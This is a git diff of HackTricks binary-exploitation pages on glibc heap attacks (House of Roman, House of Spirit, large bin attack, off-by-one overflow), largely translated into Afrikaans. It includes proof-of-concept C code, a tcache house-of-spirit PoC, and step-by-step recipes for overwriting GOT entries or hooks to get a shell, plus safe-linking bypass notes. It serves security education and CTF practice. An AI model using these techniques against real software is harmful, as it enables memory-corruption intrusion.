-Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
+Ten slotte, sodra die korrekte adres oorskryf is, **roep `malloc` en trigger die `one_gadget`**.
-## References
+## Moderne Wenke en Variante
-- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
-- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
-- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_roman/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_roman/)
+- **Unsorted-bin hardening (2.28+):** Die ekstra integriteitskontroles op unsorted chunks (size sanity + list linkage) maak die klassieke unsorted-bin write kwesbaar. Om `_int_malloc` te oorleef, moet jy `fd/bk`-skakels konsekwent en sizes geloofwaardig hou, wat gewoonlik sterker primitives as 'n eenvoudige partial overwrite vereis.
+- **Hook removal (2.34+):** Omdat `__malloc_hook` verwyder is, word 'n ander target en gewoonlik 'n ander chain vereis. 'n GOT-target soos `exit@GOT` is slegs bruikbaar wanneer RELRO daardie entry writable laat. Moderne tegnieke soos House of Pie, wat die allocator se `top` pointer korrupteer, het hul eie weergawe-spesifieke prerequisites en is nie drop-in replacements nie.[[4]](#references)[[6]](#references)
+- **Any-address fastbin alloc (romanking98 writeup):** Die tweede deel wys hoe om die 0x71-freelist te herstel en die unsorted-bin write te gebruik om 'n fastbin allocation oor `__free_hook` te laat land, en dan `system("/bin/sh")` te plaas en dit via `free()` op libc-2.24 te trigger (pre-hook removal).[[5]](#references)
+
+## References
+- [1] [shellphish/how2heap](https://github.com/shellphish/how2heap)
+- [2] [how2heap - house_of_roman.c (glibc 2.23)](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
+- [3] [CTF Wiki - House of Roman](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_roman/)
+- [4] [Heap tricks never get old - Insomni'hack Teaser 2022 (Synacktiv)](https://halloween.synacktiv.com/publications/heap-tricks-never-get-old-insomnihack-teaser-2022.html)
+- [5] [House of Roman writeup (romanking98 gist)](https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc)
+- [6] [glibc 2.34 NEWS](https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=NEWS;hb=glibc-2.34)
+- [7] [glibc commit b90ddd0 - unsorted bin integrity checks](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md
index 1ce36fd140c..68872ac78a6 100644
--- a/src/binary-exploitation/libc-heap/house-of-spirit.md
+++ b/src/binary-exploitation/libc-heap/house-of-spirit.md
@@ -2,117 +2,143 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
### Code
House of Spirit
-
```c
#include
#include
#include
#include
-// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
+// Adapted with extra diagnostic output from the House of Spirit example in reference 1.
struct fast_chunk {
- size_t prev_size;
- size_t size;
- struct fast_chunk *fd;
- struct fast_chunk *bk;
- char buf[0x20]; // chunk falls in fastbin size range
+size_t prev_size;
+size_t size;
+struct fast_chunk *fd;
+struct fast_chunk *bk;
+char buf[0x20]; // chunk falls in fastbin size range
};
int main() {
- struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
- void *ptr, *victim;
+struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
+void *ptr, *victim;
- ptr = malloc(0x30);
+ptr = malloc(0x30);
- printf("Original alloc address: %p\n", ptr);
- printf("Main fake chunk:%p\n", &fake_chunks[0]);
- printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
+printf("Original alloc address: %p\n", ptr);
+printf("Main fake chunk:%p\n", &fake_chunks[0]);
+printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
- // Passes size check of "free(): invalid size"
- fake_chunks[0].size = sizeof(struct fast_chunk);
+// Passes size check of "free(): invalid size"
+fake_chunks[0].size = sizeof(struct fast_chunk);
- // Passes "free(): invalid next size (fast)"
- fake_chunks[1].size = sizeof(struct fast_chunk);
+// Passes "free(): invalid next size (fast)"
+fake_chunks[1].size = sizeof(struct fast_chunk);
- // Attacker overwrites a pointer that is about to be 'freed'
- // Point to .fd as it's the start of the content of the chunk
- ptr = (void *)&fake_chunks[0].fd;
+// Attacker overwrites a pointer that is about to be 'freed'
+// Point to .fd as it's the start of the content of the chunk
+ptr = (void *)&fake_chunks[0].fd;
- free(ptr);
+free(ptr);
- victim = malloc(0x30);
- printf("Victim: %p\n", victim);
+victim = malloc(0x30);
+printf("Victim: %p\n", victim);
- return 0;
+return 0;
}
```
-
-### Goal
+Die voorbeeld hier bo demonstreer die klassieke fastbin-variant.[[1]](#references)
+
+### Doel
-- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
+- Plaas ’n aanvallergekose adres in ’n tcache bin of fastbin sodat ’n latere `malloc()` geheue terugstuur wat daardie adres oorvleuel.
-### Requirements
+### Vereistes
-- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
+- Hierdie aanval vereis dat ’n aanvaller ’n paar fake fast chunks kan skep wat die korrekte groottewaarde aandui, en daarna die eerste fake chunk kan free sodat dit in die bin beland.
+- Met **tcache (glibc ≥2.26)** is die aanval eenvoudiger: slegs een fake chunk is nodig, omdat die tcache-pad nie die fastbin next-chunk size check uitvoer nie. Op die algemene 64-bis glibc-konfigurasies wat hier gedemonstreer word, moet die fake chunk 16-grepe-belyn wees en ’n grootte gebruik wat deur ’n geaktiveerde tcache bin aanvaar word; die tradisionele verstek small-bin-reeks strek tot en met ’n `0x410` chunk-grootte, hoewel tunables en nuwer allocator-weergawes die tcache-dekking kan verander.[[2]](#references)
-### Attack
+### Aanval
-- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
-- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
+- Skep fake chunks wat aan die relevante allocator-kontroles voldoen. Die klassieke fastbin-roete benodig ook ’n geloofwaardige volgende chunk, benewens ’n geldige huidige grootte.
+- Herlei ’n pointer wat aan `free()` deurgegee word na die fake chunk. ’n Daaropvolgende toekenning van die ooreenstemmende grootte kan dan die gekose adres oorvleuel.
-**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
+**Die kode van** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is uitstekend om die aanval te verstaan.** Hoewel hierdie skema uit die kode dit redelik goed opsom:[[3]](#references)
+
+Fake chunk-uitleg
```c
/*
- this will be the structure of our two fake chunks:
- assuming that you compiled it for x64
-
- +-------+---------------------+------+
- | 0x00: | Chunk # 0 prev size | 0x00 |
- +-------+---------------------+------+
- | 0x08: | Chunk # 0 size | 0x60 |
- +-------+---------------------+------+
- | 0x10: | Chunk # 0 content | 0x00 |
- +-------+---------------------+------+
- | 0x60: | Chunk # 1 prev size | 0x00 |
- +-------+---------------------+------+
- | 0x68: | Chunk # 1 size | 0x40 |
- +-------+---------------------+------+
- | 0x70: | Chunk # 1 content | 0x00 |
- +-------+---------------------+------+
-
- for what we are doing the prev size values don't matter too much
- the important thing is the size values of the heap headers for our fake chunks
+this will be the structure of our two fake chunks:
+assuming that you compiled it for x64
+
++-------+---------------------+------+
+| 0x00: | Chunk # 0 prev size | 0x00 |
++-------+---------------------+------+
+| 0x08: | Chunk # 0 size | 0x60 |
++-------+---------------------+------+
+| 0x10: | Chunk # 0 content | 0x00 |
++-------+---------------------+------+
+| 0x60: | Chunk # 1 prev size | 0x00 |
++-------+---------------------+------+
+| 0x68: | Chunk # 1 size | 0x40 |
++-------+---------------------+------+
+| 0x70: | Chunk # 1 content | 0x00 |
++-------+---------------------+------+
+
+for what we are doing the prev size values don't matter too much
+the important thing is the size values of the heap headers for our fake chunks
*/
```
+
-> [!NOTE]
-> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
+> [!TIP]
+> Let daarop dat dit nodig is om die tweede chunk te skep om sommige sanity checks te omseil.
-## Examples
+### Tcache house of spirit (glibc ≥2.26)
+
+- Op moderne glibc roep die **tcache fast-path** `tcache_put` aan voordat die grootte van die volgende chunk/`prev_inuse` gevalideer word, dus hoef slegs die huidige fake chunk geldig te lyk.[[2]](#references)
+- Vereistes:
+- Fake chunk moet **16-byte aligned** wees en nie as `IS_MMAPPED`/`NON_MAIN_ARENA` gemerk wees nie.
+- `size` moet aan ’n tcache bin behoort en die **prev_inuse bit set** insluit (`size | 1`).
+- Tcache vir daardie bin moet nie vol wees nie (standaardmaksimum van 7 entries).
+- Minimale PoC (stack chunk):
+```c
+unsigned long long fake[6] __attribute__((aligned(0x10)));
+// chunk header at fake[0]; usable data starts at fake+2
+fake[1] = 0x41; // fake size (0x40 bin, prev_inuse=1)
+void *p = &fake[2]; // points inside fake chunk
+free(p); // goes straight into tcache
+void *q = malloc(0x30); // returns stack address fake+2
+```
+- **Safe-linking** is hier geen hindernis nie: die voorwaartse wyser wat in tcache gestoor word, word outomaties as `fd = ptr ^ (heap_base >> 12)` tydens `free` geënkodeer, dus hoef die aanvaller nie die sleutel te ken wanneer ’n enkele fake chunk gebruik word nie.
+- Hierdie variant is nuttig wanneer glibc hooks verwyder is (≥2.34) en jy ’n vinnige arbitrary write wil hê, of ’n teikenbuffer (bv. stack/BSS) met ’n tcache chunk wil laat oorvleuel sonder om addisionele korrupsies te skep.
+
+## Voorbeelde
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
- - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
- - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
- Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
+- **Libc infoleak**: Via ’n overflow is dit moontlik om ’n wyser te verander sodat dit na ’n GOT-adres wys, om sodoende ’n libc-adres deur die read-aksie van die CTF te lek.
+- **House of Spirit**: Deur ’n teller te misbruik wat die aantal "rifles" tel, is dit moontlik om ’n fake size van die eerste fake chunk te genereer. Daarna is dit deur ’n "message" te misbruik moontlik om die tweede size van ’n chunk te vervals, en uiteindelik is dit deur ’n overflow moontlik om ’n wyser te verander wat vrygestel gaan word, sodat ons eerste fake chunk vrygestel word. Daarna kan ons dit allokeer, en daarin sal die adres wees waar "message" gestoor word. Vervolgens kan ons dit na die `scanf`-entry binne die GOT-tabel laat wys, sodat ons dit kan oorskryf met die adres van system.\
+Die volgende keer wat `scanf` geroep word, kan ons die invoer `"/bin/sh"` stuur en ’n shell kry.[[4]](#references)
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
- - **Glibc leak**: Uninitialized stack buffer.
- - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
+- **Glibc leak**: ’n Ong geïnisialiseerde stack-buffer.
+- **House of Spirit**: Ons kan die eerste indeks van ’n globale array van heap-wysers verander. Met ’n enkele byte-wysiging gebruik ons `free` op ’n fake chunk binne ’n geldige chunk, sodat ons ná ’n nuwe allokasie ’n situasie met oorvleuelende chunks kry. Daarmee werk ’n eenvoudige Tcache poisoning-aanval om ’n arbitrary write-primitief te verkry.[[5]](#references)
## References
-- [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)
-
+- [1] [House of Spirit (heap-exploitation)](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit)
+- [2] [how2heap – tcache_house_of_spirit.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.34/tcache_house_of_spirit.c)
+- [3] [House of Spirit – guyinatuxedo](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html)
+- [4] [hacklu14 oreo – guyinatuxedo](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
+- [5] [Gloater. HTB Cyber Apocalypse CTF 2024](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md
index fb8a721c98d..bcba3161bac 100644
--- a/src/binary-exploitation/libc-heap/large-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/large-bin-attack.md
@@ -2,57 +2,61 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
+
+Vir meer inligting oor wat 'n large bin is, besoek hierdie bladsy:
-For more information about what is a large bin check this page:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
+Die how2heap glibc 2.35 PoC verskaf 'n konkrete voorbeeld van 'n large-bin attack.[[1]](#references)
-Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
+Die glibc 2.35 how2heap-voorbeeld demonstreer 'n oorblywende write deur 'n beskadigde **`p->bk_nextsize`** tydens gesorteerde large-bin-invoeging. glibc 2.35 is die weergawe van daardie PoC, nie die huidige glibc release nie, en die primitive moet by die teiken-allocator pas.[[1]](#references)
-In that example you can find the following conditions:
+In daardie voorbeeld kan jy die volgende voorwaardes vind:[[1]](#references)
-- A large chunk is allocated
-- A large chunk smaller than the first one but in the same index is allocated
- - Must be smalled so in the bin it must go first
-- (A chunk to prevent merging with the top chunk is created)
-- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
-- Then, the second large chunk is freed
-- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
-- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
+- 'n Large chunk word geallokeer
+- 'n Large chunk wat kleiner as die eerste een is, maar in dieselfde index, word geallokeer
+- Dit moet kleiner wees sodat gesorteerde invoeging dit voor die eerste chunk plaas.
+- ('n Chunk om merging met die top chunk te voorkom, word geskep)
+- Die eerste large chunk word gefree, waarna 'n request wat groter as dit is, chunk 1 van die unsorted bin na die large bin verskuif.
+- Daarna word die tweede large chunk gefree
+- Nou, die vulnerability: Die attacker kan `chunk1->bk_nextsize` na `[target-0x20]` modify
+- Daarna word 'n groter chunk as chunk 2 geallokeer, sodat chunk2 in die large bin ingevoeg word en die address `chunk1->bk_nextsize->fd_nextsize` met die address van chunk2 oorskryf
> [!TIP]
-> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
-
-This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
+> Ander layouts is moontlik. Die noodsaaklike voorwaarde is die invoeging van 'n chunk wat kleiner as 'n bestaande chunk `X` is, wat veroorsaak dat dit onmiddellik voor `X` gelink word, terwyl die attacker `X->bk_nextsize` beheer sodat die invoegingswrite 'n gekose address teiken.
+Dit is die relevante code uit malloc. Comments is bygevoeg om beter te verstaan hoe die address oorskryf is:
```c
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
- {
- fwd = bck; // fwd = p1
- bck = bck->bk; // bck = p1->bk
-
- victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
- victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
- fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
- }
+{
+fwd = bck; // fwd = p1
+bck = bck->bk; // bck = p1->bk
+
+victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
+victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
+fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
+}
```
+Histories het die write `global_max_fast` geteiken om die groottebereik wat as fastbins behandel word uit te brei en ’n opvolgaanval moontlik te maak. Onlangse glibc-uitleg- en hardening-veranderinge kan daardie teiken onbeskikbaar of ongeskik maak, dus moet jy die presiese libc-simbole en bronkode inspekteer.[[1]](#references)
-This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
+Jy kan nog ’n uitstekende verduideliking van hierdie aanval in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html) vind.[[2]](#references)
-You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
+### Ander voorbeelde
-### Other examples
+- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)[[3]](#references)
+- Large bin attack in dieselfde situasie as wat dit in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) verskyn.[[1]](#references)
+- Die write primitive is meer kompleks, omdat `global_max_fast` hier nutteloos is.
+- FSOP is nodig om die exploit te voltooi.
-- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
- - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
- - The write primitive is more complex, because `global_max_fast` is useless here.
- - FSOP is needed to finish the exploit.
+## References
+- [1] [how2heap - large_bin_attack.c (glibc 2.35)](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c)
+- [2] [Verduideliking van Large Bin Attack - guyinatuxedo](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html)
+- [3] [La casa de papel. HackOn CTF 2024 - 7rocky](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md
index 000044db548..3ace0977f50 100644
--- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md
+++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md
@@ -1,115 +1,155 @@
-# Off by one overflow
+# Een-byte-oorloop
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese inligting [[8]](#references)
-Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
+Selfs 'n een-byte-oorloop kan 'n aanvaller toelaat om die volgende chunk se `size`-veld te wysig. Dit kan verander watter reekse die allocator as vry beskou en kan 'n oorvleuelende chunk skep wat nog 'n geldige allocation bevat. Exploitation lyk dan soos 'n [double free](double-free.md) of 'n ander oorvleuelende-chunk-aanval.
-There are 2 types of off by one vulnerabilities:
+Daar is twee algemene tipes off-by-one-vulnerabiliteit:
-- Arbitrary byte: This kind allows to overwrite that byte with any value
-- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
- - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
- - This can be expoited with the [House of Einherjar](house-of-einherjar.md).
- - If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
+- **Arbitrary byte:** die byte wat oorloop, kan enige waarde aanneem.
+- **Null byte (off-by-null):** die byte wat oorloop, kan slegs `0x00` wees.
+- 'n Algemene voorbeeld kom voor wanneer inkonsekwente `strlen`- en `strcpy`-grense toelaat dat 'n null terminator die eerste byte van die volgende chunk oorskryf.
+- Dit kan met die [House of Einherjar](house-of-einherjar.md) uitgebuit word.
+- Indien Tcache gebruik word, kan dit tot 'n [double free](double-free.md)-situasie uitgebuit word.
Off-by-null
-
```c
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
int main(void)
{
- char buffer[40]="";
- void *chunk1;
- chunk1 = malloc(24);
- puts("Get Input");
- gets(buffer);
- if(strlen(buffer)==24)
- {
- strcpy(chunk1,buffer);
- }
- return 0;
+char buffer[40]="";
+void *chunk1;
+chunk1 = malloc(24);
+puts("Get Input");
+gets(buffer);
+if(strlen(buffer)==24)
+{
+strcpy(chunk1,buffer);
+}
+return 0;
}
```
-
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
+Onder andere kontroles vergelyk moderne glibc die aangetekende vorige grootte met die voorafgaande chunk tydens konsolidasie. Dit maak die klassieke aanval aansienlik moeiliker vanaf glibc 2.28.
-### Code example:
+### Code example [[4]](#references)
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
-- This attack is no longer working due to the use of Tcaches.
- - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
+- Die oorspronklike shrinking-free-chunks-voorbeeld teiken 'n ouer allocator en is nie direk draagbaar na tcache-era glibc nie.
+- Verder, as jy dit met groter chunks probeer misbruik (sodat tcaches nie betrokke is nie), sal jy die fout kry: `malloc(): invalid next size (unsorted)`
-### Goal
+### Doel
-- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
+- Laat een chunk 'n ander oorvleuel sodat writes deur die buitenste allocation die ingeslote chunk kan wysig.
-### Requirements
+### Vereistes
-- Off by one overflow to modify the size metadata information
+- 'n Off-by-one overflow wat die size-metadata kan wysig.
-### General off-by-one attack
+### Algemene off-by-one-aanval
-- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
-- Free `C` (inserted into 0x20 Tcache free-list).
-- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
-- Now we have `B` containing the free chunk `C`
-- Free `B` and allocate a 0x40 chunk (it will be placed here again)
-- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
+- Allocate drie chunks `A`, `B` en `C` (sê groottes 0x20), en nog een om konsolidasie met die top-chunk te voorkom.
+- Free `C` (ingevoeg in die 0x20 Tcache free-list).
+- Gebruik chunk `A` om oor `B` te overflow. Misbruik off-by-one om die `size`-veld van `B` van 0x21 na 0x41 te verander.
+- Nou bevat `B` die free chunk `C`
+- Free `B` en allocate 'n 0x40-chunk (dit sal weer hier geplaas word)
+- Ons kan die `fd`-pointer vanaf `C` wysig, wat steeds free is (Tcache poisoning)
-### Off-by-null attack
+### Off-by-null-aanval
-- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is).
-- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
-- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
-- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
+- Allocate drie aangrensende chunks (`a`, `b` en `c`), en free dan die middelste chunk. 'n Off-by-null vanaf `a` skryf `0x00` oor die lae byte van `b` se aangetekende size (byvoorbeeld, om 'n lae byte van `0x10` na `0x00` te verander laat `b` 0x10 bytes kleiner lyk).
+- Allocate twee kleiner chunks, `b1` en `b2`, binne die gefree'de `b`-streek. Omdat die gekorrupte `b + b->size` voor `c` eindig, word `c` se metadata nie opgedateer soos dit normaalweg sou wees nie.
+- Free `b1` en `c`. Omdat `c - c->prev_size` steeds na die begin van `b` (nou `b1`) wys, konsolideer die allocator hulle terwyl `b2` binne die gevolglike free range ge-allokeer bly.
+- 'n Latere allocation kan hierdie oorvleuelende range herwin en die steeds aktiewe `b2`-allocation wysig.
-This image explains perfectly the attack:
+Hierdie beeld verduidelik die aanval perfek:[[4]](#references)
https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks
-## Other Examples & References
-
-- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
-- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
- - Off-by-one because of `strlen` considering the next chunk's `size` field.
- - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
-- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
- - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
- - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
- - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
- - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
-- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
- - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
- - In the writeup 5 initial chunks are created:
- - chunk1 (0x200)
- - chunk2 (0x50)
- - chunk5 (0x68)
- - chunk3 (0x1f8)
- - chunk4 (0xf0)
- - chunk defense (0x400) to avoid consolidating with top chunk
- - Then chunk 1, 5 and 3 are freed, so:
- - ```python
- [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
- ```
- - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
- - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
- - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
- - ```python
- [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
- ```
- - ```python
- [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
- ```
- - Then, `0x200` bytes are allocated filling the original chunk 1
- - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
- - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
- - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
- - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
+### Moderne glibc-hardening & bypass-notas (>=2.32)
+
+- Safe-Linking beskerm nou elke singly linked bin-pointer deur `fd = ptr ^ (chunk_addr >> 12)` te stoor, dus benodig 'n off-by-one wat slegs die lae byte van `size` verander gewoonlik ook 'n heap leak om die XOR-masker te herbereken voordat Tcache poisoning werk.[[3]](#references)
+- 'n Praktiese leakless-truuk is om 'n pointer te "double-protect": encode 'n pointer wat jy reeds beheer met `PROTECT_PTR`, en gebruik dan dieselfde gadget weer om jou forged pointer te encode sodat die alignment check slaag sonder om nuwe adresse bekend te maak.
+- Workflow vir safe-linking + single-byte corruptions:
+1. Grow die victim chunk totdat dit volledig 'n freed chunk dek wat jy reeds beheer (overlapping-chunk-opstelling).
+2. Leak enige heap-pointer (stdout, UAF, partially controlled struct) en lei die key `heap_base >> 12` af.
+3. Encode free-list-pointers weer voordat jy hulle skryf—stage die encoded waarde binne user data en memcpy dit later as jy slegs single-byte writes besit.
